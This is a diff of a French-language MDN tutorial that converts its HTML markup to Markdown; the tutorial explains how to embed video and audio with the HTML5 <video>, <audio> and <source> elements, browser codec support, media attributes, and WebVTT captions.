scope="row">Prérequis :</th> - <td>Compétences informatiques de base, <a href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">installation des outils de base</a>, bases de la <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers">manipulation des fichiers</a>, connaissance des fondamentaux du HTML (comme expliqué dans <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started">Commencer avec le HTML)</a> et <a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML">Images en HTML</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre à intégrer vidéos et audios dans une page web et y ajouter des légendes et des sous-titres.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Compétences informatiques de base, + <a + href="/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >installation des outils de base</a + >, bases de la + <a href="/fr/Apprendre/Commencer_avec_le_web/G%C3%A9rer_les_fichiers" + >manipulation des fichiers</a + >, connaissance des fondamentaux du HTML (comme expliqué dans + <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML/Getting_started" + >Commencer avec le HTML)</a + > + et + <a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML" + >Images en HTML</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre à intégrer vidéos et audios dans une page web et y ajouter des + légendes et des sous-titres. + </td> + </tr> + </tbody> </table> -<h2 id="Audio_et_vidéo_sur_le_web">Audio et vidéo sur le web</h2> +## Audio et vidéo sur le web + +Les développeurs ont toujours voulu utiliser la vidéo et l'audio sur le web et ce, dès le début des années 2000, quand nous avons commencé à disposer d'une bande passante suffisamment rapide pour supporter toutes sortes de vidéos (les fichiers vidéo étant beaucoup plus lourds que du texte ou des images). Au départ, les technologies embarquées telles que HTML n'avaient pas la capacité d'intégrer de la vidéo ou de l'audio, donc, les solutions « propriétaires » (ou basées sur des greffons) comme [Flash](https://fr.wikipedia.org/wiki/Adobe_Flash) (puis, plus tard, [Silverlight](https://fr.wikipedia.org/wiki/Silverlight)) sont devenues très populaires pour gérer ce type de contenu. Ces technologies fonctionnaient bien mais avaient de nombreux inconvénients, comme une relation aléatoire avec les fonctionnalités HTML/CSS, des problèmes de sécurité et d'accessibilité. -<p>Les développeurs ont toujours voulu utiliser la vidéo et l'audio sur le web et ce, dès le début des années 2000, quand nous avons commencé à disposer d'une bande passante suffisamment rapide pour supporter toutes sortes de vidéos (les fichiers vidéo étant beaucoup plus lourds que du texte ou des images). Au départ, les technologies embarquées telles que HTML n'avaient pas la capacité d'intégrer de la vidéo ou de l'audio, donc, les solutions « propriétaires » (ou basées sur des greffons) comme <a href="https://fr.wikipedia.org/wiki/Adobe_Flash">Flash</a> (puis, plus tard, <a href="https://fr.wikipedia.org/wiki/Silverlight">Silverlight</a>) sont devenues très populaires pour gérer ce type de contenu. Ces technologies fonctionnaient bien mais avaient de nombreux inconvénients, comme une relation aléatoire avec les fonctionnalités HTML/CSS, des problèmes de sécurité et d'accessibilité.</p> +Une solution embarquée devrait résoudre la plupart de ces problèmes. Heureusement, après quelques années, la spécification {{glossary("HTML5")}} apportait ces améliorations avec les éléments {{htmlelement("video")}} et {{htmlelement("audio")}} et des {{Glossary("API","APIs")}}{{Glossary("JavaScript")}} flambants neufs pour les contrôler. Nous ne verrons pas JavaScript ici — nous poserons juste les fondamentaux qui peuvent être obtenus avec HTML. -<p>Une solution embarquée devrait résoudre la plupart de ces problèmes. Heureusement, après quelques années, la spécification {{glossary("HTML5")}} apportait ces améliorations avec les éléments {{htmlelement("video")}} et {{htmlelement("audio")}} et des {{Glossary("API","APIs")}}{{Glossary("JavaScript")}} flambants neufs pour les contrôler. Nous ne verrons pas JavaScript ici — nous poserons juste les fondamentaux qui peuvent être obtenus avec HTML.</p> +Nous ne vous apprendrons pas à produire des fichiers audio ou vidéo — cela demande des compétences totalement différentes. Nous vous conseillons ce lien Github [fichiers d'échantillons audio et vidéo et exemples de code](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content) pour votre expérience personnelle, au cas où vous ne pourriez pas y accéder par vous-même. -<p>Nous ne vous apprendrons pas à produire des fichiers audio ou vidéo — cela demande des compétences totalement différentes. Nous vous conseillons ce lien Github <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">fichiers d'échantillons audio et vidéo et exemples de code</a> pour votre expérience personnelle, au cas où vous ne pourriez pas y accéder par vous-même.</p> +> **Note :** Avant de commencer, vous devez savoir qu'il existe un grand nombre de fournisseurs de vidéos en ligne {{glossary("OVP","OVPs")}} comme [YouTube](https://www.youtube.com/), [Dailymotion](http://www.dailymotion.com), et [Vimeo](https://vimeo.com/). Pour l'audio, voyez [Soundcloud](https://soundcloud.com/) par exemple. Ces sociétés offrent un moyen simple d'héberger et de consommer de la vidéo, donc, vous n'avez pas à vous soucier de l'énorme consommation de bande passante. Ils peuvent aussi vous proposer du code "tout-prêt" pour intégrer la vidéo/audio dans vos pages web. Si vous suivez cette procédure, vous vous éviterez quelqu'unes des difficultés abordées dans cet article. Nous parlerons en détails de ces services dans l'article suivant. -<div class="note"> -<p><strong>Note :</strong> Avant de commencer, vous devez savoir qu'il existe un grand nombre de fournisseurs de vidéos en ligne {{glossary("OVP","OVPs")}} comme <a href="https://www.youtube.com/">YouTube</a>, <a href="http://www.dailymotion.com">Dailymotion</a>, et <a href="https://vimeo.com/">Vimeo</a>. Pour l'audio, voyez <a href="https://soundcloud.com/">Soundcloud</a> par exemple. Ces sociétés offrent un moyen simple d'héberger et de consommer de la vidéo, donc, vous n'avez pas à vous soucier de l'énorme consommation de bande passante. Ils peuvent aussi vous proposer du code "tout-prêt" pour intégrer la vidéo/audio dans vos pages web. Si vous suivez cette procédure, vous vous éviterez quelqu'unes des difficultés abordées dans cet article. Nous parlerons en détails de ces services dans l'article suivant.</p> -</div> +### L' élément \<video> -<h3 id="L'_élément_<video>">L' élément <video></h3> +L'élément {{htmlelement("video")}} vous permet d'intégrer de la vidéo très facilement. En voici un exemple : -<p>L'élément {{htmlelement("video")}} vous permet d'intégrer de la vidéo très facilement. En voici un exemple :</p> +```html +<video src="rabbit320.webm" controls> + <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.webm">lien sur la vidéo</a>.</p> +</video> +``` -<pre class="brush: html"><video src="rabbit320.webm" controls> - <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.webm">lien sur la vidéo</a>.</p> -</video></pre> +Les fonctionnalités de ce code sont : -<p>Les fonctionnalités de ce code sont :</p> +- {{htmlattrxref("src","video")}} + - : De la même manière que pour l'élément {{htmlelement("img")}}, l'attribut `src` (source) contient le chemin vers la vidéo que vous voulez intégrer. Cela fonctionne de la même manière. +- {{htmlattrxref("controls","video")}} + - : Les utilisateurs doivent avoir un contrôle sur la lecture de la vidéo ou de l'audio. (c'est particulièrement crucial pour les gens ayant de l'[épilepsie](https://fr.wikipedia.org/wiki/%C3%89pilepsie).) Vous devez vous servir de l'attribut `controls` pour appeler l'interface de contrôle du navigateur ou construire votre propre interface en utilisant l'[API JavaScript ](/fr/docs/Web/API/HTMLMediaElement)adéquat. Au minimum, l'interface doit avoir un contrôle de démarrage et d'arrêt (start/stop) du média et un pour ajuster le volume. +- Le paragraphe dans la balise `<video>` + - : Cela peut s'appeler solution de repli ou contenu de secours (fallback content) — si le navigateur accédant à la page ne supporte pas l'élément `<video>` , cela offre un texte alternatif qui peut être ce que vous voulez ; dans ce cas nous avons mis un lien direct au fichier vidéo, afin que l'utilisateur puisse au moins y accéder sans avoir à se soucier du navigateur qu'il utilise. -<dl> - <dt>{{htmlattrxref("src","video")}}</dt> - <dd>De la même manière que pour l'élément {{htmlelement("img")}}, l'attribut <code>src</code> (source) contient le chemin vers la vidéo que vous voulez intégrer. Cela fonctionne de la même manière.</dd> - <dt>{{htmlattrxref("controls","video")}}</dt> - <dd>Les utilisateurs doivent avoir un contrôle sur la lecture de la vidéo ou de l'audio. (c'est particulièrement crucial pour les gens ayant de l'<a href="https://fr.wikipedia.org/wiki/%C3%89pilepsie">épilepsie</a>.) Vous devez vous servir de l'attribut <code>controls</code> pour appeler l'interface de contrôle du navigateur ou construire votre propre interface en utilisant l'<a href="/fr/docs/Web/API/HTMLMediaElement">API JavaScript </a>adéquat. Au minimum, l'interface doit avoir un contrôle de démarrage et d'arrêt (start/stop) du média et un pour ajuster le volume.</dd> - <dt>Le paragraphe dans la balise <code><video></code></dt> - <dd>Cela peut s'appeler solution de repli ou contenu de secours (fallback content) — si le navigateur accédant à la page ne supporte pas l'élément <code><video></code> , cela offre un texte alternatif qui peut être ce que vous voulez ; dans ce cas nous avons mis un lien direct au fichier vidéo, afin que l'utilisateur puisse au moins y accéder sans avoir à se soucier du navigateur qu'il utilise.</dd> -</dl> +La vidéo intégrée donnerait quelque chose comme ça : -<p>La vidéo intégrée donnerait quelque chose comme ça :</p> + -<p><img alt="A simple video player showing a video of a small white rabbit" src="simple-video.png"></p> +Faites un essai avec [l'exemple ici](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html). (voyez aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html).) -<p>Faites un essai avec <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">l'exemple ici</a>. (voyez aussi le <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">code source</a>.)</p> +### Gestion de différents formats -<h3 id="Gestion_de_différents_formats">Gestion de différents formats</h3> +Il y a un problème avec l'exemple au-dessus que vous avez dû rencontrer si vous avez accédé au lien « exemple ici » avec un navigateur comme Safari ou Internet Explorer. La vidéo ne se lancera pas ! Ceci parce que les navigateurs acceptent des formats différents de video et d'audio. -<p>Il y a un problème avec l'exemple au-dessus que vous avez dû rencontrer si vous avez accédé au lien « exemple ici » avec un navigateur comme Safari ou Internet Explorer. La vidéo ne se lancera pas ! Ceci parce que les navigateurs acceptent des formats différents de video et d'audio.</p> +Voyons-en rapidement la terminologie. Les formats comme le MP3, MP4 et le WebM sont appelés des [formats conteneurs](https://fr.wikipedia.org/wiki/Format_conteneur). Ils contiennent plusieurs parties qui, ensemble, donnent l'intégralité de la chanson ou de la vidéo — comme une piste audio, une piste vidéo et les métadonnées qui décrivent le média qui est lu. -<p>Voyons-en rapidement la terminologie. Les formats comme le MP3, MP4 et le WebM sont appelés des <a href="https://fr.wikipedia.org/wiki/Format_conteneur">formats conteneurs</a>. Ils contiennent plusieurs parties qui, ensemble, donnent l'intégralité de la chanson ou de la vidéo — comme une piste audio, une piste vidéo et les métadonnées qui décrivent le média qui est lu.</p> +Les pistes audio et vidéo sont aussi de différents formats, par exemple : -<p>Les pistes audio et vidéo sont aussi de différents formats, par exemple :</p> +- Un conteneur WebM empaquette de l'audio Ogg Vorbis avec de la vidéo VP8/VP9. Firefox et Chrome, en particulier, assurent sa prise en charge. +- Un conteneur MP4 assemble de l'audio AAC ou MP3 en audio avec de la vidéo H.264. Internet Explorer et Safari, principalement, le prennent en charge. +- L'ancien conteneur Ogg rassemblait de l'audio Ogg Vorbis et de la vidéo Ogg Theora. Il était essentiellement pris en charge par Firefox and Chrome, mais il a été supplanté par le format WebM qui est de meilleure qualité. -<ul> - <li>Un conteneur WebM empaquette de l'audio Ogg Vorbis avec de la vidéo VP8/VP9. Firefox et Chrome, en particulier, assurent sa prise en charge.</li> - <li>Un conteneur MP4 assemble de l'audio AAC ou MP3 en audio avec de la vidéo H.264. Internet Explorer et Safari, principalement, le prennent en charge.</li> - <li>L'ancien conteneur Ogg rassemblait de l'audio Ogg Vorbis et de la vidéo Ogg Theora. Il était essentiellement pris en charge par Firefox and Chrome, mais il a été supplanté par le format WebM qui est de meilleure qualité.</li> -</ul> +Un lecteur audio peut jouer directement une piste audio, par ex. un fichier MP3 ou Ogg. Elles ne nécessitent pas de conteneur. -<p>Un lecteur audio peut jouer directement une piste audio, par ex. un fichier MP3 ou Ogg. Elles ne nécessitent pas de conteneur.</p> +> **Note :** Ce n'est pas si simple, comme vous pouvez le voir dans le [tableau de compatibilité des codecs audio-vidéo](/fr/docs/Web/HTML/Supported_media_formats#Browser_compatibility). En outre, de nombreux navigateurs de plateforme mobile peuvent lire un format non pris en charge en le transférant au lecteur multimédia du système sous-jacent. Mais pour l'instant nous nous contenterons de ce qui précède. -<div class="note"> -<p><strong>Note :</strong> Ce n'est pas si simple, comme vous pouvez le voir dans le <a href="/fr/docs/Web/HTML/Supported_media_formats#Browser_compatibility">tableau de compatibilité des codecs audio-vidéo</a>. En outre, de nombreux navigateurs de plateforme mobile peuvent lire un format non pris en charge en le transférant au lecteur multimédia du système sous-jacent. Mais pour l'instant nous nous contenterons de ce qui précède.</p> -</div> +Les formats ci-dessus ont été créés pour compresser la vidéo et l'audio dans des fichiers gérables (les fichiers vidéo et audio bruts sont très volumineux). Les navigateurs contiennent différents {{Glossary("Codec","Codecs")}}, comme Vorbis ou H.264, utilisés pour convertir le son et la vidéo compressés en binaire et inversement. Comme indiqué ci-dessus, les navigateurs ne supportent malheureusement pas tous les mêmes codecs, vous devrez donc fournir plusieurs fichiers pour chaque production de média. S'il vous manque le bon codec pour décoder le média, il ne pourra pas être lu. -<p>Les formats ci-dessus ont été créés pour compresser la vidéo et l'audio dans des fichiers gérables (les fichiers vidéo et audio bruts sont très volumineux). Les navigateurs contiennent différents {{Glossary("Codec","Codecs")}}, comme Vorbis ou H.264, utilisés pour convertir le son et la vidéo compressés en binaire et inversement. Comme indiqué ci-dessus, les navigateurs ne supportent malheureusement pas tous les mêmes codecs, vous devrez donc fournir plusieurs fichiers pour chaque production de média. S'il vous manque le bon codec pour décoder le média, il ne pourra pas être lu.</p> -<p> </p> -<div class="note"> -<p><strong>Note :</strong> Vous êtes peut-être surpris de l'existence d'une telle situation. Les formats <strong>MP3 </strong>(pour l'audio) et <strong>MP4/H.264</strong> (pour la vidéo) sont tous deux largement pris en charge et de bonne qualité. Cependant, ils sont également grevés de brevets — les brevets américains couvrent le MP3 jusqu'en 2017 au moins et le H.264 jusqu'en 2027 au plus tôt, ce qui signifie que les navigateurs ne détenant pas de licence doivent payer d'énormes sommes d'argent pour pouvoir utiliser ces formats. En outre, beaucoup de personnes évitent, par principe, les logiciels propriétaires et leur préférent des formats ouverts. C'est pourquoi nous devons fournir plusieurs formats pour une prise en charge par différents navigateurs.</p> +> **Note :** Vous êtes peut-être surpris de l'existence d'une telle situation. Les formats **MP3** (pour l'audio) et **MP4/H.264** (pour la vidéo) sont tous deux largement pris en charge et de bonne qualité. Cependant, ils sont également grevés de brevets — les brevets américains couvrent le MP3 jusqu'en 2017 au moins et le H.264 jusqu'en 2027 au plus tôt, ce qui signifie que les navigateurs ne détenant pas de licence doivent payer d'énormes sommes d'argent pour pouvoir utiliser ces formats. En outre, beaucoup de personnes évitent, par principe, les logiciels propriétaires et leur préférent des formats ouverts. C'est pourquoi nous devons fournir plusieurs formats pour une prise en charge par différents navigateurs. +> +> -<p> </p> -</div> +Alors, comment faire ? Jetez un coup d'œil à l'exemple qui suit, [mis à jour](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html), ([essayez-le directement ici](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html) aussi) : -<p>Alors, comment faire ? Jetez un coup d'œil à l'exemple qui suit, <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">mis à jour</a>, (<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">essayez-le directement ici</a> aussi) :</p> +```html +<video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien sur la vidéo</a>.</p> +</video> +``` -<pre class="brush: html"><video controls> - <source src="rabbit320.mp4" type="video/mp4"> - <source src="rabbit320.webm" type="video/webm"> - <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien sur la vidéo</a>.</p> -</video></pre> +Ici, nous avons retiré l'attribut `src` de la balise \<video> et inclus des éléments {{htmlelement("source")}} séparés qui pointent vers des sources appropriées. Dans ce cas, le navigateur parcourra les éléments `<source>` et jouera le premier dont il peut prendre en charge le codec. Inclure des sources WebM et MP4 devraient suffire pour lire votre vidéo sur la plupart des plateformes et navigateurs de nos jours. -<p>Ici, nous avons retiré l'attribut <code>src</code> de la balise <video> et inclus des éléments {{htmlelement("source")}} séparés qui pointent vers des sources appropriées. Dans ce cas, le navigateur parcourra les éléments <code><source></code> et jouera le premier dont il peut prendre en charge le codec. Inclure des sources WebM et MP4 devraient suffire pour lire votre vidéo sur la plupart des plateformes et navigateurs de nos jours.</p> +Chaque élément \<source> possède également un attribut de type. C'est facultatif, mais il est conseillé de les inclure — ils contiennent le type {{glossary("MIME type","MIME")}} des fichiers vidéo, et les navigateurs peuvent le lire et sauter immédiatement les vidéos qu'ils ne comprennent pas. Si le type n'est pas indiqué, le navigateur va charger et essayer de lire chaque fichier jusqu'à ce qu'il en trouve un qu'il prenne en charge, ce qui demande du temps et des ressources. -<p>Chaque élément <source> possède également un attribut de type. C'est facultatif, mais il est conseillé de les inclure — ils contiennent le type {{glossary("MIME type","MIME")}} des fichiers vidéo, et les navigateurs peuvent le lire et sauter immédiatement les vidéos qu'ils ne comprennent pas. Si le type n'est pas indiqué, le navigateur va charger et essayer de lire chaque fichier jusqu'à ce qu'il en trouve un qu'il prenne en charge, ce qui demande du temps et des ressources.</p> -<p> </p> -<div class="note"> -<p><strong>Note :</strong> L'<a href="/fr/docs/Web/HTML/Supported_media_formats">article sur les formats média pris en charge</a> contient quelques types {{glossary("MIME type","MIME")}} courants.</p> -</div> +> **Note :** L'[article sur les formats média pris en charge](/fr/docs/Web/HTML/Supported_media_formats) contient quelques types {{glossary("MIME type","MIME")}} courants. -<h3 id="Autres_fonctionnalités_de_<video>">Autres fonctionnalités de <video></h3> +### Autres fonctionnalités de \<video> -<p>Il y a possibilité d'inclure d'autres fonctionnalités dans une vidéo HTML5. Regardez notre troisième exemple :</p> +Il y a possibilité d'inclure d'autres fonctionnalités dans une vidéo HTML5. Regardez notre troisième exemple : -<pre class="brush: html"><video controls width="400" height="400" +```html +<video controls width="400" height="400" autoplay loop muted - poster="poster.png"> - <source src="rabbit320.mp4" type="video/mp4"> - <source src="rabbit320.webm" type="video/webm"> - <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien à la vidéo</a>.</p> -</video> -</pre> + poster="poster.png"> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien à la vidéo</a>.</p> +</video> +``` + +Cela produit une sortie du type suivant : + + -<p>Cela produit une sortie du type suivant :</p> +Voici les nouvelles fonctionnalités : -<p><img alt="A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!" src="extra-video-features.png"></p> +- {{htmlattrxref("width","video")}} et {{htmlattrxref("height","video")}} + - : Il est possible de contrôler la taille de la vidéo soit avec ces attributs, soit avec le {{Glossary("CSS")}}. Dans les deux cas, les vidéos conservent le rapport largeur‑hauteur natif — désigné sous le vocable **rapport de proportions**. Si ce dernier ne correspond pas aux tailles indiquées, la vidéo occupera tout l'espace horizontal et l'espace non rempli sera de la couleur d'arrière plan unie par défaut. +- {{htmlattrxref("autoplay","video")}} + - : Cet attribut permet de lancer immédiatement la lecture de l'audio ou de la vidéo pendant que le reste de la page se charge. Nous vous déconseillons d'utiliser la lecture automatique de vidéos (ou audio) sur vos sites, car les utilisateurs peuvent trouver cela vraiment ennuyeux. +- {{htmlattrxref("loop","video")}} + - : Cet attribut permet de relancer en boucle la lecture de la vidéo (ou de l'audio). Cette façon de procéder pouvant être mal perçue, ne l'utilisez que si c'est vraiment nécessaire. +- {{htmlattrxref("muted","video")}} + - : Cet attribut coupe le son de la vidéo par défaut. +- {{htmlattrxref("poster","video")}} + - : Cet attribut prend comme valeur l'URL d'une image affichée avant la lecture de la vidéo. Il s'utilise en tant que logo de démarrage ou de publicité. +- {{htmlattrxref("preload","video")}} -<p>Voici les nouvelles fonctionnalités :</p> + - : Cet attribut s'utilise pour mettre en tampon les gros fichiers. Il peut prendre 3 valeurs : -<dl> - <dt>{{htmlattrxref("width","video")}} et {{htmlattrxref("height","video")}}</dt> - <dd>Il est possible de contrôler la taille de la vidéo soit avec ces attributs, soit avec le {{Glossary("CSS")}}. Dans les deux cas, les vidéos conservent le rapport largeur‑hauteur natif — désigné sous le vocable <strong>rapport de proportions</strong>. Si ce dernier ne correspond pas aux tailles indiquées, la vidéo occupera tout l'espace horizontal et l'espace non rempli sera de la couleur d'arrière plan unie par défaut.</dd> - <dt>{{htmlattrxref("autoplay","video")}}</dt> - <dd>Cet attribut permet de lancer immédiatement la lecture de l'audio ou de la vidéo pendant que le reste de la page se charge. Nous vous déconseillons d'utiliser la lecture automatique de vidéos (ou audio) sur vos sites, car les utilisateurs peuvent trouver cela vraiment ennuyeux.</dd> - <dt>{{htmlattrxref("loop","video")}}</dt> - <dd>Cet attribut permet de relancer en boucle la lecture de la vidéo (ou de l'audio). Cette façon de procéder pouvant être mal perçue, ne l'utilisez que si c'est vraiment nécessaire.</dd> - <dt>{{htmlattrxref("muted","video")}}</dt> - <dd>Cet attribut coupe le son de la vidéo par défaut.</dd> - <dt>{{htmlattrxref("poster","video")}}</dt> - <dd>Cet attribut prend comme valeur l'URL d'une image affichée avant la lecture de la vidéo. Il s'utilise en tant que logo de démarrage ou de publicité.</dd> - <dt>{{htmlattrxref("preload","video")}}</dt> - <dd> - <p>Cet attribut s'utilise pour mettre en tampon les gros fichiers. Il peut prendre 3 valeurs :</p> + - `"none"` : ne pas mettre le fichier dans un tampon + - `"auto"` : mettre le fichier média dans un tampon + - `"metadata"` : ne mettre que les métadonnées dans le tampon - <ul> - <li><code>"none"</code> : ne pas mettre le fichier dans un tampon</li> - <li><code>"auto"</code> : mettre le fichier média dans un tampon</li> - <li><code>"metadata"</code> : ne mettre que les métadonnées dans le tampon</li> - </ul> - </dd> -</dl> +Vous trouverez cet exemple [prêt pour l'interprétation](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html) sur Github ( voir aussi le [ code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html)). Notez que nous n'avons pas inséré l'attribut `autoplay` dans la version en direct — si la vidéo débute dès le chargement de la page, vous ne pourrez pas voir le poster ! -<p>Vous trouverez cet exemple <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">prêt pour l'interprétation</a> sur Github ( voir aussi le <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html"> code source</a>). Notez que nous n'avons pas inséré l'attribut <code>autoplay</code> dans la version en direct — si la vidéo débute dès le chargement de la page, vous ne pourrez pas voir le poster !</p> +### L'élément \<audio> -<h3 id="L'élément_<audio>">L'élément <audio></h3> +L'élément {{htmlelement("audio")}} fonctionne exactement de la même manière que l'élément {{htmlelement("video")}}, mais avec quelques menues différences décrites plus bas. Un exemple classique ressemble à ceci : -<p>L'élément {{htmlelement("audio")}} fonctionne exactement de la même manière que l'élément {{htmlelement("video")}}, mais avec quelques menues différences décrites plus bas. Un exemple classique ressemble à ceci :</p> +```html +<audio controls> + <source src="viper.mp3" type="audio/mp3"> + <source src="viper.ogg" type="audio/ogg"> + <p>Votre navigateur ne prend pas en charge l'audio HTML5. Voici, à la place, un <a href="viper.mp3">lien sur l'audio</a>.</p> +</audio> +``` -<pre class="brush: html"><audio controls> - <source src="viper.mp3" type="audio/mp3"> - <source src="viper.ogg" type="audio/ogg"> - <p>Votre navigateur ne prend pas en charge l'audio HTML5. Voici, à la place, un <a href="viper.mp3">lien sur l'audio</a>.</p> -</audio></pre> +Vous verrez quelque chose de ce genre dans un navigateur : -<p>Vous verrez quelque chose de ce genre dans un navigateur :</p> + -<p><img alt="A simple audio player with a play button, timer, volume control, and progress bar" src="audio-player.png"></p> +> **Note :** Vous pouver [lancer la démo de l'audio en direct ](http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html)sur Github (voir aussi le [code source de l'interpréteur](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html).) -<div class="note"> -<p><strong>Note :</strong> Vous pouver <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">lancer la démo de l'audio en direct </a>sur Github (voir aussi le <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">code source de l'interpréteur</a>.)</p> -</div> +Cela prend moins de place qu'une vidéo, et il n'y a pas de composante visuelle — il est juste nécessaire d'afficher les contrôles de lecture de l'audio. Voici les autres différences avec les vidéos HTML5 : -<p>Cela prend moins de place qu'une vidéo, et il n'y a pas de composante visuelle — il est juste nécessaire d'afficher les contrôles de lecture de l'audio. Voici les autres différences avec les vidéos HTML5 :</p> +- L'élément {{htmlelement("audio")}} ne prend pas en charge les attributs `width`/`height` — redisons‑le, il n'y a pas de composant visuel, il n'y donc pas lieu d'assigner une largeur ou une hauteur. +- Il ne prend pas en charge non plus l'attribut `poster` — toujours pas de composant visuel. -<ul> - <li>L'élément {{htmlelement("audio")}} ne prend pas en charge les attributs <code>width</code>/<code>height</code> — redisons‑le, il n'y a pas de composant visuel, il n'y donc pas lieu d'assigner une largeur ou une hauteur.</li> - <li>Il ne prend pas en charge non plus l'attribut <code>poster</code> — toujours pas de composant visuel.</li> -</ul> +Excepté ce qui précéde, `<audio>` accepte les mêmes fonctionnalités que `<video>` — revoyez les sections ci-desssus pour plus d'informations à ce propos. -<p>Excepté ce qui précéde, <code><audio></code> accepte les mêmes fonctionnalités que <code><video></code> — revoyez les sections ci-desssus pour plus d'informations à ce propos.</p> +## Afficher du texte dans une vidéo -<h2 id="Afficher_du_texte_dans_une_vidéo">Afficher du texte dans une vidéo</h2> +Nous allons maintenant parler d'un concept un peu plus avancé vraiment utile à connaître. Beaucoup de gens ne peuvent pas ou ne veulent pas entendre le contenu audio/vidéo qu'ils trouvent sur le Web, du moins à certains moments. Par exemple : -<p>Nous allons maintenant parler d'un concept un peu plus avancé vraiment utile à connaître. Beaucoup de gens ne peuvent pas ou ne veulent pas entendre le contenu audio/vidéo qu'ils trouvent sur le Web, du moins à certains moments. Par exemple :</p> +- De nombreuses personnes sont mal‑entendantes (dures d'oreille ou sourdes), et ne peuvent donc pas entendre le son. +- D'autres ne veulent pas de son, soit parce qu'ils sont dans un environnement bruyant (comme un bar avec une foule pendant une retransmission de compétition sportive) et ne peuvent donc pas entendre, soit parce qu'ils sont dans un environnement silencieux (comme une bibliothèque) et ne veulent donc pas déranger. +- Des personnes qui ne parlent pas la langue d'une vidéo peuvent souhaiter un sous‑titrage ou une traduction pour les aider à comprendre le contenu du média. -<ul> - <li>De nombreuses personnes sont mal‑entendantes (dures d'oreille ou sourdes), et ne peuvent donc pas entendre le son.</li> - <li>D'autres ne veulent pas de son, soit parce qu'ils sont dans un environnement bruyant (comme un bar avec une foule pendant une retransmission de compétition sportive) et ne peuvent donc pas entendre, soit parce qu'ils sont dans un environnement silencieux (comme une bibliothèque) et ne veulent donc pas déranger.</li> - <li>Des personnes qui ne parlent pas la langue d'une vidéo peuvent souhaiter un sous‑titrage ou une traduction pour les aider à comprendre le contenu du média.</li> -</ul> +Ne serait-il pas agréable de pouvoir fournir à ces personnes la transcription des paroles prononcés dans l'audio ou la vidéo ? Eh bien, avec des vidéos HTML5 vous le pouvez, à l'aide du format WebVTT et de l'élément {{htmlelement("track")}}. -<p>Ne serait-il pas agréable de pouvoir fournir à ces personnes la transcription des paroles prononcés dans l'audio ou la vidéo ? Eh bien, avec des vidéos HTML5 vous le pouvez, à l'aide du format WebVTT et de l'élément {{htmlelement("track")}}.</p> +> **Note :** « Transcrire » signifie écrire des paroles sous forme de texte, et « transcription » est l'action correspondante. -<div class="note"> -<p><strong>Note :</strong> « Transcrire » signifie écrire des paroles sous forme de texte, et « transcription » est l'action correspondante.</p> -</div> +WebVTT est un format d'écriture de fichiers texte ; il contient nombre de chaînes de texte avec des métadonnées comme l'instant dans la vidéo où vous souhaitez l'affichage du texte, et même une information succinte sur le style et la position de celui‑ci. Ces chaînes textuelles sont appelées des marqueurs, les plus courants étant : -<p>WebVTT est un format d'écriture de fichiers texte ; il contient nombre de chaînes de texte avec des métadonnées comme l'instant dans la vidéo où vous souhaitez l'affichage du texte, et même une information succinte sur le style et la position de celui‑ci. Ces chaînes textuelles sont appelées des marqueurs, les plus courants étant :</p> +- les sous‑titres (`subtitles`) + - : Traductions d'éléments d'une langue étrangère pour les personnes ne comprenant pas les paroles de l'audio. +- les légendes (`captions`) + - : Transcriptions synchrones de dialogues ou de descriptions de sons significatifs, pour permettre aux personnes ne pouvant entendre le son de comprendre ce qui se passe. +- les descriptions programmées (`descriptions`) + - : Textes convertis en audio, pour aider les personnes avec des défauts de vision. 